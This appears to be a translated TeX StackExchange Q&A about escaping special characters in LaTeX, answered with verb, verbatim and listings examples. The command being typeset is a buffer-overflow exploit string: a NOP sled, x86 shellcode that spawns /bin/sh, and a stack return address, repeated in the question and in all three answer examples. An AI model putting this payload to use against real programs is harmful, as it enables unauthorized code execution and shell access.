我正在尝试用 LaTeX 编写 Unix 命令,但它似乎卡在特殊字符上。有没有办法转义反斜杠、赞誉、美元符号等?命令如下
$(python -c 'print "\x90" * 653 + "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x78\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" + "\x98\xf2\xff\xbf"')
但是,会出现以下错误:
! 未定义控制序列。l.37 $(python -c 'print "\x 90" * 653 + "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x7...
我也尝试过\verbatim
,但是也不起作用。
答案1
欢迎TSE
。
您可以将此类文本封闭在verbatim
环境中,但我主要建议您,如果您的文档中有许多行代码,最好使用listings
或minted
包。有关更多详细信息,请阅读包手册,您可以应用许多选项。
希望下面的内容能对你有帮助。
\documentclass{article}
\usepackage{listings}
\begin{document}
\noindent\verb|$(python -c 'print "\x90" * 653 + "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x78\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" + "\x98\xf2\xff\xbf"')|
\begin{verbatim}
$(python -c 'print "\x90" * 653 + "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x78\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" + "\x98\xf2\xff\xbf"')
\end{verbatim}
\lstset{
stringstyle=\ttfamily,
breaklines=true,
frame=line
}
\begin{lstlisting}[language=python, title={My Code}]
$(python -c 'print "\x90" * 653 + "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x78\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" + "\x98\xf2\xff\xbf"')
\end{lstlisting}
\end{document}